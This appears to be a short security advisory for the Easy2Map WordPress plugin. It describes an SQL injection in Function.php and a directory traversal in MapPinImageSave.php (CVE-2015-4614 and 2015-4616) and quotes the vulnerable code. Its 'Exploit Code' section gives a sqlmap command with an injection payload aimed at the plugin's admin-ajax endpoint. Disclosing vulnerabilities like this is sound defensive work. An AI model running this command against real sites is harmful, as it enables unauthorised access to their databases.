Description: The easiest tool available for creating custom & great-looking Google Maps. Add multiple pins and customize maps with drag-and-drop simplicity.
Vulnerability:
The following lines in Function.php use sprintf() to format queries being sent to the database, this doesn't provide proper sanitization of user input or
properly parameterize the query to the database.
90 $wpdb->query(sprintf("UPDATE $mapsTable
91 SET PolyLines = '%s'
92 WHERE ID = '%s';", $PolyLines, $mapID));

167 Settings = '%s',
168 LastInvoked = CURRENT_TIMESTAMP,
169 CSSValues = '%s',
170 CSSValuesList = '%s',
171 CSSValuesHeading = '%s',

In MapPinImageSave.php, code isn’t sanitized when creating a directory allowing ../ to create files outside of intended directory:
4 $imagesDirectory = WP_CONTENT_DIR . "/uploads/easy2map/images/map_pins/uploaded/" . $_GET["map_id"] . "/";
.
.
11 if (is_uploaded_file($_FILES["pinicon"]['tmp_name'])) {
12
13 if (!file_exists($imagesDirectory)) {
14 mkdir($imagesDirectory);
15 }
CVEID: 2015-4614 (SQLi) 2015-4616 (../ bug)
OSVDB:
Exploit Code:
• $ sqlmap -u 'http://wp.site:80/wp-admin/admin-ajax.php' --data="mapID=11&mapName='+or+1%3D%3D1%3B&action=e2m_img_save_map_name" --cookie=‘COOKIE HERE’ --level=5 --risk=3
